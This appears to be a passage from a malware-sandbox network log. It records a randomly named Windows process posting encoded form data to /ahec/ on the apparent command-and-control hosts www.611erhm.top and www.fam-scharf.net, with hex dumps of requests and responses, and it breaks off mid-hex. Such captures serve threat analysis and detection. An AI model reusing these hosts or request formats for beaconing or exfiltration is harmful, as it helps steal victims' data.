27	192.168.2.4	49767	34.117.26.57	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:08.967581987 CET	10837	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.611erhm.top Origin: http://www.611erhm.top Referer: http://www.611erhm.top/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 5a 61 38 52 52 54 6d 44 7a 45 41 5a 64 65 62 42 73 5a 70 57 6a 4d 7a 66 45 6e 62 35 6b 77 76 34 33 4b 38 36 79 30 42 30 78 4b 5a 6c 78 4a 74 36 71 34 55 6a 47 72 49 4f 32 58 53 73 45 58 61 53 75 55 32 6a 42 48 54 7a 45 56 54 4a 34 6c 50 6a 68 2b 57 62 65 4b 2f 32 46 75 66 33 57 76 47 73 4b 68 36 4d 63 56 7a 4b 76 45 70 59 31 66 33 39 59 75 2f 34 71 63 46 69 58 68 4d 38 41 69 69 75 4f 77 53 59 6d 57 5a 37 39 72 36 39 34 41 2f 35 78 5a 2b 32 31 5a 6e 39 34 30 51 62 30 4e 68 61 69 52 36 74 69 79 49 33 63 4d 64 72 78 33 79 45 52 67 50 4d 61 61 35 2b 48 68 67 5a 77 37 4f 4e 6d 6d 50 61 69 6f 77 44 52 6e 2b 43 2f 32 71 7a 4d 50 76 65 63 59 63 68 43 6b 55 46 36 58 52 34 6e 43 6a 6f 35 79 65 78 79 44 69 53 52 6a 72 70 64 4d 48 63 65 4a 69 6e 46 48 77 30 73 51 2b 6e 52 6d 4e 56 56 39 79 4c 39 4c 73 64 4c 66 4d 66 58 68 66 66 74 2b 4c 73 4d 35 68 78 73 73 74 54 5a 53 32 75 56 78 52 52 7a 45 62 2b 31 62 50 36 48 43 52 65 74 7a 47 2f 51 72 73 63 49 38 43 63 79 44 31 34 52 4e 4c 48 2f 34 51 70 38 43 4e 49 4c 5a 4a 55 32 53 50 35 41 6f 46 78 65 66 49 64 51 2f 39 4c 44 34 4f 71 50 78 49 4e 36 30 65 2b 49 2f 4d 79 6a 58 5a 6f 67 34 61 4b 39 30 65 36 69 30 32 44 39 43 34 6c 53 45 59 4d 4d 61 6f 54 2f 2f 61 37 71 6b 36 43 45 6c 41 69 54 4e 49 4c 45 4d 64 4e 76 4c 39 6d 72 50 2b 33 4c 65 67 63 7a 72 61 69 68 46 53 61 78 59 70 7a 72 46 75 6e 37 59 30 74 68 77 36 5a 4e 4f 4e 53 4f 59 56 6a 41 46 36 65 64 65 57 34 73 6a 39 79 35 32 64 76 44 5a 4d 76 51 34 4c 66 2b 7a 45 73 61 44 46 6b 45 54 64 6b 41 6f 67 46 5a 35 70 52 48 71 33 4b 31 63 63 6a 63 4e 33 35 69 74 67 38 70 39 4a 67 59 58 48 63 6c 58 64 64 66 31 38 45 78 45 31 50 6e 33 36 73 67 48 45 79 53 49 44 48 6f 4b 74 6a 30 71 71 69 32 35 32 2f 54 6f 77 37 38 5a 41 58 69 4c 4f 46 48 6e 77 70 72 52 2b 37 51 76 47 74 46 44 45 78 35 67 54 53 74 42 6a 59 45 70 56 32 53 67 64 70 56 54 4a 31 4d 41 52 52 30 53 32 53 32 30 44 48 48 61 35 38 71 6a 45 33 5a 37 36 63 74 74 57 35 47 63 65 34 6a 74 2b 57 35 76 35 36 36 7a 55 2f 4c 59 70 5a 39 61 4a 50 45 50 33 71 73 31 6e 64 59 4e 30 34 4b 56 50 73 75 2f 2f 35 53 49 4d 6a 55 4a 53 44 43 4a 78 70 64 37 74 37 69 6e 6c 46 72 53 2f 7a 4c 77 6d 37 33 7a 4b 58 6e 41 37 4a 39 37 52 41 56 66 4d 4d 31 79 62 6f 79 36 6e 31 69 37 49 2b 50 65 39 52 72 34 34 43 77 6f 55 39 55 6d 4f 5a 30 6e 52 4d 44 74 68 6f 32 69 67 52 67 38 64 57 48 75 71 74 34 4e 34 65 4f 61 58 5a 64 61 31 52 47 75 6b 6a 76 64 4e 64 48 6f 72 53 35 44 59 44 65 59 30 79 62 6a 39 65 4a 6d 50 72 57 4a 74 45 6a 77 41 50 6a 37 4a 4c 39 63 59 63 69 61 49 39 6c 45 63 6a 54 31 5a 46 6b 61 32 6f 61 55 71 31 62 6e 44 55 6f 6d 44 45 71 48 34 46 32 58 72 5a 73 6f 68 4b 4a 4d 59 78 7a 34 35 6b 41 50 49 4f 64 63 64 35 45 73 78 4c 4f 63 77 55 38 76 68 4c 7a 73 56 78 54 7a 44 44 74 48 49 49 37 6a 51 48 4c 6a 4e 74 30 34 47 72 4f 5a 77 63 4a 2b 74 53 68 36 78 32 77 4a 2b 38 41 31 75 59 4c 76 49 32 4e 73 48 32 4d 42 50 56 4f 69 66 73 6c 38 63 39 78 52 4a 35 65 44 6b 69 4a 4c 7a 42 75 33 57 61 32 72 70 34 66 73 47 75 44 56 4f 30 56 4e 78 45 4e 6b 37 32 4e 73 67 43 76 76 39 52 77 32 46 48 70 50 76 57 44 6c 4f 58 31 43 4b 51 68 4c 4a 6e 76 78 74 6b 46 79 70 6b 74 69 61 63 66 6d 35 6a 67 31 5a 50 39 69 62 47 41 4d 66 42 66 4e 43 68 49 4f 59 4b 73 42 56 46 4b 66 2f 64 79 4e 53 45 2f 4a 48 5a 68 57 4c 65 38 47 2b 72 39 4b 6d 67 54 6a 35 4f 33 4c 6c 79 6d 4c 34 2b 69 70 4d 77 35 4a 79 4e 61 2b 52 61 7a 6c 75 76 73 5a 72 70 77 52 45 44 65 78 75 75 52 6c 61 6d 55 6f 44 47 32 6f 32 61 65 67 71 71 4c 77 64 59 6f 75 78 6e 53 37 31 38 2b 47 5a 6f 4d 42 58 4a 2f 5a 47 6a 79 43 47 59 4a 53 78 68 56 72 6d 30 65 56 34 34 48 4f 38 2f 74 31 6b 6f 43 6d 6a 72 33 4c 38 64 6b 79 38 79 34 78 73 49 64 57 79 6d 30 6c 4d 77 2f 53 4c 32 34 51 56 70 71 4f 34 71 62 65 42 4a 77 70 73 53 44 4c 78 43 67 79 4a 38 62 39 55 5a 71 51 71 4f 78 54 4a 39 33 58 42 4d 62 6e 35 4b 58 67 77 44 6b 55 30 45 4c 43 42 68 59 77 36 61 38 46 79 79 49 66 58 56 57 36 37 73 35 30 69 54 43 2b 50 4d 63 67 5a 53 4b 2f 32 65 4a 78 2f 67 36 61 41 59 50 46 5a 76 6a 31 2f 39 52 4f 6a 70 50 39 35 4f 54 42 38 70 44 49 75 65 76 63 6a 44 6f 64 Data Ascii: XveXHZvx=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
Dec 8, 2023 14:52:09.291145086 CET	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Fri, 08 Dec 2023 13:52:09 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close
Dec 8, 2023 14:52:09.294420958 CET	157	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49768	34.117.26.57	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:11.624073982 CET	468	OUT	GET /ahec/?XveXHZvx=UYUxSke5jkUMcYDNvZduqvCoEnfAlB/5uaIG43dC5thZqMprvLUeD5Feo3aTVHSupyfrGHzleQTbxGW3pueYDpzLDOPRePOaEw==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.611erhm.top Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:52:11.947863102 CET	300	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 08 Dec 2023 13:52:11 GMT Content-Type: text/html Content-Length: 5208 Last-Modified: Wed, 11 Oct 2023 10:00:52 GMT Vary: Accept-Encoding ETag: "65267254-1458" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close
Dec 8, 2023 14:52:11.961240053 CET	1286	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true
Dec 8, 2023 14:52:11.961343050 CET	1286	IN	Data Raw: 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 2e 73 75 62 73 74 72 28 31 29 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 26 22 29 2c 6f 3d 7b 7d 2c 65 Data Ascii: ar o=function(){for(var n=(window.location.search.substr(1)\|\|"").split("&"),o={},e=0;e<n.length;e++){var r=n[e].split("=");o[r[0]]=r[1]}return function(){return o}}();function e(){var n=window.navigator.userAgent.toLowerCase();return n.indexOf
Dec 8, 2023 14:52:11.961360931 CET	1286	IN	Data Raw: 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 75 63 77 65 62 3f 22 61 6e 64 72 6f 69 64 22 3a 6e 2e 6d 61 74 63 68 28 2f 69 6f 73 2f 69 29 7c 7c 6e 2e 6d 61 74 63 68 28 2f 69 70 61 64 2f 69 29 7c Data Ascii: ent.toLowerCase();return window.ucweb?"android":n.match(/ios/i)\|\|n.match(/ipad/i)\|\|n.match(/iphone/i)?"iphone":n.match(/android/i)\|\|n.match(/apad/i)?"android":window.ucbrowser?"iphone":"unknown"}()&&navigator.sendBeacon?send(s+="&is_beacon=1")
Dec 8, 2023 14:52:11.961412907 CET	1286	IN	Data Raw: 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 72 6f 73 73 6f 72 69 67 69 6e 22 2c 22 61 6e 6f 6e 79 6d 6f 75 73 22 29 2c 65 2e 73 65 74 41 74 74 Data Ascii: ocument.createElement("script");e.setAttribute("crossorigin","anonymous"),e.setAttribute("src","//image.uc.cn/s/uae/g/01/welfareagency/js/vconsle.js"),$head.insertBefore(e,$head.lastChild)};break}}</script><title></title><script>var fontSize=w
Dec 8, 2023 14:52:11.961487055 CET	64	IN	Data Raw: 69 63 2f 61 72 63 68 65 72 5f 69 6e 64 65 78 2e 33 36 39 61 36 36 33 62 30 38 61 35 35 64 33 30 35 62 39 37 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ic/archer_index.369a663b08a55d305b97.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49769	81.169.145.70	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:17.612606049 CET	744	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.fam-scharf.net Origin: http://www.fam-scharf.net Referer: http://www.fam-scharf.net/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 6b 46 37 56 6e 36 4f 46 30 59 58 72 55 62 62 59 39 72 31 46 58 65 48 2f 5a 37 4d 64 78 2b 33 55 61 48 51 37 6d 69 31 35 6f 54 61 6b 30 34 49 30 6f 74 65 63 42 52 53 73 75 61 4c 62 52 6f 54 68 76 54 6c 6a 53 36 48 5a 59 79 44 4a 54 47 35 79 37 58 52 74 46 57 56 43 53 49 65 30 45 6f 4a 76 62 79 44 51 6a 35 4c 6b 50 35 4c 72 74 36 57 42 71 44 41 5a 72 77 47 7a 64 61 75 79 72 58 37 37 4a 4d 48 30 4a 4e 4b 55 50 4d 49 37 5a 30 6d 62 6f 68 34 56 73 45 2b 77 33 35 4d 69 34 34 6c 54 33 74 47 54 61 74 62 43 6f 58 4c 7a 4d 75 70 6c 4e 77 3d 3d Data Ascii: XveXHZvx=kF7Vn6OF0YXrUbbY9r1FXeH/Z7Mdx+3UaHQ7mi15oTak04I0otecBRSsuaLbRoThvTljS6HZYyDJTG5y7XRtFWVCSIe0EoJvbyDQj5LkP5Lrt6WBqDAZrwGzdauyrX77JMH0JNKUPMI7Z0mboh4VsE+w35Mi44lT3tGTatbCoXLzMuplNw==
Dec 8, 2023 14:52:17.869066000 CET	374	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:52:17 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49770	81.169.145.70	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:20.392215014 CET	764	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.fam-scharf.net Origin: http://www.fam-scharf.net Referer: http://www.fam-scharf.net/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 6b 46 37 56 6e 36 4f 46 30 59 58 72 56 37 4c 59 75 62 4a 46 48 4f 48 38 48 72 4d 64 6a 2b 33 51 61 48 55 37 6d 68 35 50 72 68 4f 6b 30 5a 34 30 70 6f 79 63 47 52 53 73 67 36 4c 61 50 59 54 2f 76 54 70 72 53 36 37 5a 59 79 6e 4a 54 45 78 79 75 32 52 71 45 47 56 41 48 59 65 32 4b 49 4a 76 62 79 44 51 6a 35 65 42 50 35 54 72 74 75 71 42 71 69 41 61 33 67 47 38 61 61 75 79 34 48 37 2f 4a 4d 47 62 4a 4d 6d 2b 50 4f 67 37 5a 32 4f 62 70 7a 51 57 6c 45 2b 32 7a 35 4e 33 33 71 35 65 69 66 33 63 4b 4d 4c 2b 6c 6a 6a 6e 41 62 46 32 4b 46 52 62 74 66 71 56 78 2b 66 70 4c 34 66 73 68 53 76 70 73 74 4d 3d Data Ascii: XveXHZvx=kF7Vn6OF0YXrV7LYubJFHOH8HrMdj+3QaHU7mh5PrhOk0Z40poycGRSsg6LaPYT/vTprS67ZYynJTExyu2RqEGVAHYe2KIJvbyDQj5eBP5TrtuqBqiAa3gG8aauy4H7/JMGbJMm+POg7Z2ObpzQWlE+2z5N33q5eif3cKML+ljjnAbF2KFRbtfqVx+fpL4fshSvpstM=
Dec 8, 2023 14:52:20.649234056 CET	374	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:52:20 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49771	81.169.145.70	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:23.174957037 CET	10846	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.fam-scharf.net Origin: http://www.fam-scharf.net Referer: http://www.fam-scharf.net/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 6b 46 37 56 6e 36 4f 46 30 59 58 72 56 37 4c 59 75 62 4a 46 48 4f 48 38 48 72 4d 64 6a 2b 33 51 61 48 55 37 6d 68 35 50 72 67 32 6b 31 72 77 30 6d 72 4b 63 48 52 53 73 6f 61 4c 48 50 59 53 36 76 54 78 76 53 36 33 4a 59 77 50 4a 53 68 6c 79 71 79 6c 71 4e 47 56 41 46 59 65 72 45 6f 49 33 62 7a 7a 55 6a 36 6d 42 50 35 54 72 74 76 36 42 6f 7a 41 61 6b 51 47 7a 64 61 75 32 72 58 37 58 4a 4d 66 73 4a 4d 6a 4c 50 2f 41 37 5a 57 65 62 71 47 6b 57 35 55 2b 30 30 35 4d 30 33 71 30 65 69 66 72 2b 4b 4d 2b 6a 6c 68 2f 6e 41 75 30 4f 58 32 68 63 33 4d 71 61 73 71 66 51 50 6f 53 4f 39 6a 50 58 77 4e 6d 49 42 6d 56 53 67 2b 34 49 35 6b 6e 33 6b 32 63 2f 74 6b 34 37 67 63 66 59 34 6d 6b 43 4b 56 5a 6a 5a 76 4d 68 69 66 67 30 64 6b 4d 49 31 78 54 64 57 46 6e 5a 53 4b 7a 55 79 39 35 4f 31 34 50 43 52 4d 53 5a 35 52 2b 51 64 57 66 76 79 71 4d 59 7a 61 33 52 62 55 4a 77 6c 65 5a 6c 2f 50 4f 53 43 6e 77 79 41 69 42 51 36 72 69 74 36 45 73 70 41 47 4e 58 56 43 53 44 